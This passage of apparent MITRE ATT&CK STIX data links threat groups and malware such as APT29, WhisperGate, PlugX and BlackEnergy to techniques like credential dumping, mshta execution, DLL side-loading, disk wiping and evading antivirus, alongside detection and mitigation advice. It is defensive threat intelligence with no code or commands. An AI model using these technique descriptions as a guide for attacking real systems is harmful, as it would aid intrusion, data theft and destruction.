Monsoon)","relationship_type":"uses","source_ref":"intrusion-set--17862c7d-9e60-48a0-b48e-da4dc4c3f6b0","target_ref":"malware--f5352566-1a64-49ac-8f7f-97e1d1a03300","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ebd51f84-cd09-4b40-88bd-bed2461996d7","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://download.microsoft.com/download/2/2/5/225BFE3E-E1DE-4F5B-A77B-71200928D209/Platinum%20feature%20article%20-%20Targeted%20attacks%20in%20South%20and%20Southeast%20Asia%20April%202016.pdf","description":"Windows Defender Advanced Threat Hunting Team. (2016, April 29). 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Monitor access to Microsoft SharePoint repositories performed by privileged users (for example, Active Directory Domain, Enterprise, or Schema Administrators) should be closely monitored and alerted upon, as these types of accounts should generally not be used to access information repositories. If the capability exists, it may be of value to monitor and alert on users that are retrieving and viewing a large number of documents and pages; this behavior may be indicative of programmatic means being used to retrieve all data within the repository. In environments with high-maturity, it may be possible to leverage User-Behavioral Analytics (UBA) platforms to detect and alert on user based anomalies.","source_ref":"x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa","target_ref":"attack-pattern--0c4b4fda-9062-47da-98b9-ceae2dcf052a","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[]},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ed283e07-a029-4d23-aa8f-55f92abb5203","type":"relationship","created":"2017-05-31T21:33:27.057Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"http://www.symantec.com/connect/blogs/buckeye-cyberespionage-group-shifts-gaze-us-hong-kong","description":"Symantec Security Response. (2016, September 6). Buckeye cyberespionage group shifts gaze from US to Hong Kong. Retrieved September 26, 2016.","source_name":"Symantec Buckeye"}],"modified":"2020-03-16T20:00:05.044Z","description":"[APT3](https://attack.mitre.org/groups/G0022) has used a keylogging tool that records keystrokes in encrypted files.(Citation: Symantec Buckeye)","relationship_type":"uses","source_ref":"intrusion-set--0bbdf25b-30ff-4894-a1cd-49260d0dd2d9","target_ref":"attack-pattern--09a60ea3-a8d1-4ae5-976e-5783248b72a4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b559ee80-3a71-4e2c-971a-4e575b5b8a19","type":"relationship","created":"2022-03-30T14:26:51.870Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.870Z","description":"Monitor for suspicious email activity, such as numerous accounts receiving messages from a single unusual/unknown sender. Filtering based on DKIM+SPF or header analysis can help detect when the email sender is spoofed.(Citation: Microsoft Anti Spoofing)(Citation: ACSC Email Spoofing)","source_ref":"x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa","target_ref":"attack-pattern--8982a661-d84c-48c0-b4ec-1db29c6cf3bc","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Microsoft Anti Spoofing","description":"Microsoft. (2020, October 13). Anti-spoofing protection in EOP. Retrieved October 19, 2020.","url":"https://docs.microsoft.com/en-us/microsoft-365/security/office-365-security/anti-spoofing-protection?view=o365-worldwide"},{"source_name":"ACSC Email Spoofing","description":"Australian Cyber Security Centre. (2012, December). Mitigating Spoofed Emails Using Sender Policy Framework. Retrieved October 19, 2020.","url":"https://www.cyber.gov.au/sites/default/files/2019-03/spoof_email_sender_policy_framework.pdf"}]},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--b8fdee05-cbe2-43b1-a224-e4b019017c3e","created":"2022-02-10T15:27:46.089Z","x_mitre_version":"1.0","external_references":[{"source_name":"ESET T3 Threat Report 2021","url":"https://www.welivesecurity.com/wp-content/uploads/2022/02/eset_threat_report_t32021.pdf","description":"ESET. (2022, February). THREAT REPORT T3 2021. Retrieved February 10, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[APT29](https://attack.mitre.org/groups/G0016) has use `mshta` to execute malicious scripts on a compromised host.(Citation: ESET T3 Threat Report 2021)","modified":"2022-04-14T12:47:04.101Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542","target_ref":"attack-pattern--840a987a-99bd-4a80-a5c9-0cb2baa6cade","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--be75f0ef-a8c8-42ec-b36b-670f7b528dd3","created":"2022-04-06T20:25:06.611Z","x_mitre_version":"0.1","external_references":[{"source_name":"MalwareBytes LazyScripter Feb 2021","url":"https://www.malwarebytes.com/resources/files/2021/02/lazyscripter.pdf","description":"Jazi, H. (2021, February). LazyScripter: From Empire to double RAT. Retrieved November 24, 2021."}],"x_mitre_deprecated":false,"revoked":false,"description":"[KOCTOPUS](https://attack.mitre.org/software/S0669) can use the `LoadResource` and `CreateProcessW` APIs for execution.(Citation: MalwareBytes LazyScripter Feb 2021)","modified":"2022-04-15T19:15:55.929Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--df9b350b-d4f9-4e79-a826-75cc75fbc1eb","target_ref":"attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--774a6b5c-bbba-4094-bac3-0fa5e664bf2a","type":"relationship","created":"2022-03-10T20:25:15.307Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Crowdstrike WhisperGate January 2022","url":"https://www.crowdstrike.com/blog/technical-analysis-of-whispergate-malware","description":"Crowdstrike. (2022, January 19). Technical Analysis of the WhisperGate Malicious Bootloader. Retrieved March 10, 2022."},{"source_name":"Cisco Ukraine Wipers January 2022","url":" https://blog.talosintelligence.com/2022/01/ukraine-campaign-delivers-defacement.html","description":"Biasini, N. et al.. (2022, January 21). Ukraine Campaign Delivers Defacement and Wipers, in Continued Escalation. Retrieved March 14, 2022."},{"source_name":"Medium S2W WhisperGate January 2022","url":"https://medium.com/s2wblog/analysis-of-destructive-malware-whispergate-targeting-ukraine-9d5d158f19f3","description":"S2W. (2022, January 18). Analysis of Destructive Malware (WhisperGate) targeting Ukraine. Retrieved March 14, 2022."}],"modified":"2022-03-14T14:52:23.149Z","description":"[WhisperGate](https://attack.mitre.org/software/S0689) can overwrite sectors of a victim host's hard drive at periodic offsets.(Citation: Crowdstrike WhisperGate January 2022)(Citation: Cisco Ukraine Wipers January 2022)(Citation: Medium S2W WhisperGate January 2022)","relationship_type":"uses","source_ref":"malware--49fee0b0-390e-4bde-97f8-97ed46bd19b7","target_ref":"attack-pattern--fb640c43-aa6b-431e-a961-a279010424ac","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--597555f7-33e3-4699-9acf-9c7f15a850c9","type":"relationship","created":"2019-02-12T21:28:19.412Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report-appendix.zip","description":"Mandiant. (n.d.). Appendix C (Digital) - The Malware Arsenal. Retrieved July 18, 2016.","source_name":"Mandiant APT1 Appendix"}],"modified":"2020-03-18T15:48:36.742Z","description":"[Seasalt](https://attack.mitre.org/software/S0345) has masqueraded as a service called \"SaSaut\" with a display name of \"System Authorization Service\" in an apparent attempt to masquerade as a legitimate service.(Citation: Mandiant APT1 Appendix)","relationship_type":"uses","source_ref":"malware--b45747dc-87ca-4597-a245-7e16a61bc491","target_ref":"attack-pattern--7bdca9d5-d500-4d7d-8c52-5fd47baf4c0c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--74a7cfb9-2b2a-44c2-b5ea-0327fe9e17e9","type":"relationship","created":"2021-07-07T01:33:57.634Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"win10_asr","url":"https://docs.microsoft.com/microsoft-365/security/defender-endpoint/attack-surface-reduction","description":"Microsoft. (2021, July 2). Use attack surface reduction rules to prevent malware infection. Retrieved June 24, 2021."}],"modified":"2021-09-20T17:42:18.636Z","description":"On Windows 10, enable Attack Surface Reduction (ASR) rules to block unsigned/untrusted executable files (such as .exe, .dll, or .scr) from running from USB removable drives. (Citation: win10_asr)","relationship_type":"mitigates","source_ref":"course-of-action--90f39ee1-d5a3-4aaa-9f28-3b42815b0d46","target_ref":"attack-pattern--3b744087-9945-4a6f-91e8-9dbceda417a4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c8f79da7-cfd6-41fd-89d4-c015e7289b64","type":"relationship","created":"2019-04-23T12:38:37.637Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"GitHub PoshC2","url":"https://github.com/nettitude/PoshC2_Python","description":"Nettitude. (2018, July 23). Python Server for PoshC2. Retrieved April 23, 2019."}],"modified":"2019-09-16T17:23:49.016Z","description":"[PoshC2](https://attack.mitre.org/software/S0378) has modules for enumerating domain trusts.(Citation: GitHub PoshC2)","relationship_type":"uses","source_ref":"tool--4b57c098-f043-4da2-83ef-7588a6d426bc","target_ref":"attack-pattern--767dbf9e-df3f-45cb-8998-4903ab5f80c0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--239d98a7-f134-4270-8333-c2df2feaa9ca","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-annex-b-final.pdf","description":"PwC and BAE Systems. (2017, April). Operation Cloud Hopper: Technical Annex. Retrieved April 13, 2017.","source_name":"PWC Cloud Hopper Technical Annex April 2017"},{"url":"https://www.fireeye.com/blog/threat-research/2017/04/apt10_menupass_grou.html","description":"FireEye iSIGHT Intelligence. (2017, April 6). APT10 (MenuPass Group): New Tools, Global Campaign Latest Manifestation of Longstanding Threat. Retrieved June 29, 2017.","source_name":"FireEye APT10 April 2017"},{"source_name":"FireEye APT10 Sept 2018","description":"Matsuda, A., Muhammad I. (2018, September 13). APT10 Targeting Japanese Corporations Using Updated TTPs. Retrieved September 17, 2018.","url":"https://www.fireeye.com/blog/threat-research/2018/09/apt10-targeting-japanese-corporations-using-updated-ttps.html"},{"source_name":"District Court of NY APT10 Indictment December 2018","url":"https://www.justice.gov/opa/page/file/1122671/download","description":"US District Court Southern District of New York. (2018, December 17). United States v. Zhu Hua Indictment. Retrieved December 17, 2020."}],"modified":"2020-12-17T20:15:30.853Z","description":"[menuPass](https://attack.mitre.org/groups/G0045) has sent malicious Office documents via email as part of spearphishing campaigns as well as executables disguised as documents.(Citation: PWC Cloud Hopper Technical Annex April 2017)(Citation: FireEye APT10 April 2017)(Citation: FireEye APT10 Sept 2018)(Citation: District Court of NY APT10 Indictment December 2018)","relationship_type":"uses","source_ref":"intrusion-set--222fbd21-fc4f-4b7e-9f85-0e6e3a76c33f","target_ref":"attack-pattern--2e34237d-8574-43f6-aace-ae2915de8597","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a0c55c8d-6192-4faa-a5a2-1742fb5815a0","type":"relationship","created":"2017-05-31T21:33:27.074Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"http://www.symantec.com/connect/blogs/indian-organizations-targeted-suckfly-attacks","description":"DiMaggio, J.. (2016, May 17). Indian organizations targeted in Suckfly attacks. Retrieved August 3, 2016.","source_name":"Symantec Suckfly May 2016"}],"modified":"2019-03-25T16:59:47.278Z","description":"[Suckfly](https://attack.mitre.org/groups/G0039) used a signed credential-dumping tool to obtain victim account credentials.(Citation: Symantec Suckfly May 2016)","relationship_type":"uses","source_ref":"intrusion-set--5cbe0d3b-6fb1-471f-b591-4b192915116d","target_ref":"attack-pattern--0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5ca05cbf-6a28-4a6a-9d6c-e2b8331b2965","type":"relationship","created":"2020-07-27T15:21:26.243Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Talos Promethium June 2020","url":"https://blog.talosintelligence.com/2020/06/promethium-extends-with-strongpity3.html","description":"Mercer, W. et al. (2020, June 29). PROMETHIUM extends global reach with StrongPity3 APT. Retrieved July 20, 2020."}],"modified":"2020-07-27T15:48:13.276Z","description":"[StrongPity](https://attack.mitre.org/software/S0491) can add directories used by the malware to the Windows Defender exclusions list to prevent detection.(Citation: Talos Promethium June 2020)","relationship_type":"uses","source_ref":"malware--20945359-3b39-4542-85ef-08ecb4e1c174","target_ref":"attack-pattern--ac08589e-ee59-4935-8667-d845e38fe579","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--4e348b41-b607-4227-8734-06ef01d40f27","type":"relationship","created":"2021-11-24T21:30:57.966Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"MalwareBytes LazyScripter Feb 2021","url":"https://www.malwarebytes.com/resources/files/2021/02/lazyscripter.pdf","description":"Jazi, H. (2021, February). LazyScripter: From Empire to double RAT. Retrieved November 24, 2021."}],"modified":"2021-11-24T21:30:57.966Z","description":"[LazyScripter](https://attack.mitre.org/groups/G0140) has used GitHub to host its payloads to operate spam campaigns.(Citation: MalwareBytes LazyScripter Feb 2021) ","relationship_type":"uses","source_ref":"intrusion-set--abc5a1d4-f0dc-49d1-88a1-4a80e478bb03","target_ref":"attack-pattern--830c9528-df21-472c-8c14-a036bf17d665","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7253ab74-8fbb-422b-bf37-258981865b87","type":"relationship","created":"2020-03-26T16:17:09.665Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[],"modified":"2022-03-09T18:44:33.802Z","description":"Install software in write-protected locations. Set directory access controls to prevent file writes to the search paths for applications, both in the folders where applications are run from and the standard library folders.","relationship_type":"mitigates","source_ref":"course-of-action--987988f0-cf86-4680-a875-2f6456ab2448","target_ref":"attack-pattern--aedfca76-3b30-4866-b2aa-0f1d7fd1e4b6","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--24c80905-1afb-43fa-b1c0-e8bf2e7e87e2","type":"relationship","created":"2020-07-15T20:10:03.858Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Juniper IcedID June 2020","url":"https://blogs.juniper.net/en-us/threat-research/covid-19-and-fmla-campaigns-used-to-install-new-icedid-banking-malware","description":"Kimayong, P. (2020, June 18). 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(2020, July 16). MAR-10296782-3.v1 – WELLMAIL. Retrieved September 29, 2020."}],"modified":"2020-10-06T16:01:27.500Z","description":"[WellMail](https://attack.mitre.org/software/S0515) can use TCP for C2 communications.(Citation: CISA WellMail July 2020)","relationship_type":"uses","source_ref":"malware--959f3b19-2dc8-48d5-8942-c66813a5101a","target_ref":"attack-pattern--c21d5a77-d422-4a69-acd7-2c53c1faa34b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--25e9205c-3f27-4f93-81ea-b4bc1e3325ac","type":"relationship","created":"2021-10-01T01:57:31.871Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Intezer TeamTNT September 2020","url":"https://www.intezer.com/blog/cloud-security/attackers-abusing-legitimate-cloud-monitoring-tools-to-conduct-cyber-attacks/","description":"Fishbein, N. (2020, September 8). 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Use attack surface reduction rules to prevent malware infection. Retrieved June 24, 2021."}],"modified":"2021-09-20T17:42:18.952Z","description":"On Windows 10, enable Attack Surface Reduction (ASR) rules to prevent [JavaScript](https://attack.mitre.org/techniques/T1059/007) scripts from executing potentially malicious downloaded content (Citation: win10_asr).","relationship_type":"mitigates","source_ref":"course-of-action--90f39ee1-d5a3-4aaa-9f28-3b42815b0d46","target_ref":"attack-pattern--0f4a0c76-ab2d-4cb0-85d3-3f0efb8cba0d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--603d13cd-f6f7-4321-99db-3d3326878de4","type":"relationship","created":"2019-06-24T14:20:50.504Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Sanmillan, I. (2019, May 29). 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(2021, June 16). Ferocious Kitten: 6 Years of Covert Surveillance in Iran. Retrieved September 22, 2021."}],"modified":"2021-10-15T15:03:46.300Z","description":"[MarkiRAT](https://attack.mitre.org/software/S0652) can upload data from the victim's machine to the C2 server.(Citation: Kaspersky Ferocious Kitten Jun 2021)","relationship_type":"uses","source_ref":"malware--532c6004-b1e8-415b-9516-f7c14ba783b1","target_ref":"attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--0bc7c262-604c-42af-8829-ce9f579436d4","type":"relationship","created":"2019-06-14T16:45:33.929Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Parys, B. (2017, February 11). The KeyBoys are back in town. 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Suspicious entries can also be identified by comparing entries to a trusted system baseline.","source_ref":"x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c","target_ref":"attack-pattern--e0232cb0-ded5-4c2e-9dc7-2893142a5c11","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[]},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c417561d-d3fa-4aa7-b272-6769b2ada225","type":"relationship","created":"2022-01-18T18:23:22.008Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CrowdStrike AQUATIC PANDA December 2021","url":"https://www.crowdstrike.com/blog/overwatch-exposes-aquatic-panda-in-possession-of-log-4-shell-exploit-tools/","description":"Wiley, B. et al. (2021, December 29). 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Retrieved August 26, 2019."}],"modified":"2020-03-19T23:50:06.540Z","description":"[OilRig](https://attack.mitre.org/groups/G0049) has used credential dumping tools such as [LaZagne](https://attack.mitre.org/software/S0349) to steal credentials to accounts logged into the compromised system and to Outlook Web Access.(Citation: Unit 42 Playbook Dec 2017)(Citation: FireEye APT34 Webinar Dec 2017)(Citation: FireEye APT35 2018)(Citation: FireEye APT34 July 2019)","relationship_type":"uses","source_ref":"intrusion-set--4ca1929c-7d64-4aab-b849-badbfc0c760d","target_ref":"attack-pattern--1ecfdab8-7d59-4c98-95d4-dc41970f57fc","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--89e838c0-b1d3-4e01-bf47-d1594f407420","type":"relationship","created":"2022-03-30T14:26:51.848Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.848Z","description":"Monitor network data for uncommon data flows. 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They also primarily used IP addresses originating from the same country as the victim for their VPN infrastructure.(Citation: FireEye SUNBURST Backdoor December 2020)","relationship_type":"uses","source_ref":"intrusion-set--dc5e2999-ca1a-47d4-8d12-a6984b138a1b","target_ref":"attack-pattern--42e8de7b-37b2-4258-905a-6897815e58e0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--238e1f61-36d8-41a9-b480-bb35cb30d21d","created":"2022-04-16T22:12:54.124Z","x_mitre_version":"0.1","external_references":[{"source_name":"Peirates GitHub","url":"https://github.com/inguardians/peirates","description":"InGuardians. (2022, January 5). Peirates GitHub. Retrieved February 8, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Peirates](https://attack.mitre.org/software/S0683) can use stolen service account tokens to perform its operations. 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Retrieved March 24, 2016.","url":"https://securelist.com/be2-extraordinary-plugins-siemens-targeting-dev-fails/68838/"},{"source_name":"ESET BlackEnergy Jan 2016","url":"https://www.welivesecurity.com/2016/01/03/blackenergy-sshbeardoor-details-2015-attacks-ukrainian-news-media-electric-industry/","description":"Cherepanov, A.. (2016, January 3). BlackEnergy by the SSHBearDoor: attacks against Ukrainian news media and electric industry . Retrieved June 10, 2020."}],"modified":"2020-06-10T21:56:44.790Z","description":"[BlackEnergy](https://attack.mitre.org/software/S0089) 2 contains a \"Destroy\" plug-in that destroys data stored on victim hard drives by overwriting file contents.(Citation: Securelist BlackEnergy Feb 2015)(Citation: ESET BlackEnergy Jan 2016)","relationship_type":"uses","source_ref":"malware--54cc1d4f-5c53-4f0e-9ef5-11b4998e82e4","target_ref":"attack-pattern--d45a3d09-b3cf-48f4-9f0f-f521ee5cb05c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--eed81627-aed7-477a-91e2-7be09c3d68e6","type":"relationship","created":"2022-03-30T14:26:51.839Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.839Z","description":"Monitor for newly executed processes that are associated with COM objects, especially those invoked by a user different than the one currently logged on.","source_ref":"x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077","target_ref":"attack-pattern--2f6b4ed7-fef1-44ba-bcb8-1b4beb610b64","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[]},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--da82b0e0-0397-426f-a8d0-b596ec2d81bb","created":"2022-03-30T14:26:51.842Z","x_mitre_version":"0.1","external_references":[],"x_mitre_deprecated":false,"revoked":false,"description":"Monitor executed commands and arguments that may search and collect local system sources, such as file systems or local databases, to find files of interest and sensitive data prior to Exfiltration. Remote access tools with built-in features may interact directly with the Windows API to gather data. Data may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).","modified":"2022-04-20T00:38:13.641Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"detects","source_ref":"x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0","target_ref":"attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a5aebe97-98cc-46a5-b3f9-1a0497bc72ba","type":"relationship","created":"2019-04-22T15:08:48.216Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Mandiant Operation Ke3chang November 2014","description":"Villeneuve, N., Bennett, J. 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(2020, April 28). Grandoreiro: How engorged can an EXE get?. Retrieved November 13, 2020."}],"modified":"2020-11-13T20:23:31.081Z","description":"[Grandoreiro](https://attack.mitre.org/software/S0531) can collect the username from the victim's machine.(Citation: ESET Grandoreiro April 2020)","relationship_type":"uses","source_ref":"malware--958b5d06-8bb0-4c5b-a2e7-0130fe654ac7","target_ref":"attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--6e576576-bcd8-42ca-aa0a-8e3e24aaeafc","type":"relationship","created":"2019-01-29T19:55:48.168Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://securelist.com/the-epic-turla-operation/65545/","description":"Kaspersky Lab's Global Research and Analysis Team. (2014, August 7). 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Retrieved January 14, 2016.","url":"https://www.fireeye.com/blog/threat-research/2014/06/clandestine-fox-part-deux.html"},{"source_name":"Dell TG-3390","description":"Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015, August 5). Threat Group-3390 Targets Organizations for Cyberespionage. Retrieved August 18, 2018.","url":"https://www.secureworks.com/research/threat-group-3390-targets-organizations-for-cyberespionage"},{"url":"https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-dll-sideloading.pdf","description":"Stewart, A. (2014). DLL SIDE-LOADING: A Thorn in the Side of the Anti-Virus Industry. Retrieved November 12, 2014.","source_name":"Stewart 2014"},{"url":"https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-annex-b-final.pdf","description":"PwC and BAE Systems. (2017, April). Operation Cloud Hopper: Technical Annex. Retrieved April 13, 2017.","source_name":"PWC Cloud Hopper Technical Annex April 2017"},{"url":"https://researchcenter.paloaltonetworks.com/2017/06/unit42-paranoid-plugx/","description":"Lancaster, T. and Idrizovic, E.. (2017, June 27). Paranoid PlugX. Retrieved July 13, 2017.","source_name":"Palo Alto PlugX June 2017"},{"source_name":"Trend Micro DRBControl February 2020","url":"https://documents.trendmicro.com/assets/white_papers/wp-uncovering-DRBcontrol.pdf","description":"Lunghi, D. et al. (2020, February). Uncovering DRBControl. Retrieved November 12, 2021."},{"source_name":"Profero APT27 December 2020","url":"https://shared-public-reports.s3-eu-west-1.amazonaws.com/APT27+turns+to+ransomware.pdf","description":"Global Threat Center, Intelligence Team. (2020, December). APT27 Turns to Ransomware. Retrieved November 12, 2021."}],"modified":"2021-11-29T15:37:02.084Z","description":"[PlugX](https://attack.mitre.org/software/S0013) has used DLL side-loading to evade anti-virus.(Citation: FireEye Clandestine Fox Part 2)(Citation: Dell TG-3390)(Citation: Stewart 2014)(Citation: PWC Cloud Hopper Technical Annex April 2017)(Citation: Palo Alto PlugX June 2017)(Citation: Trend Micro DRBControl February 2020)(Citation: Profero APT27 December 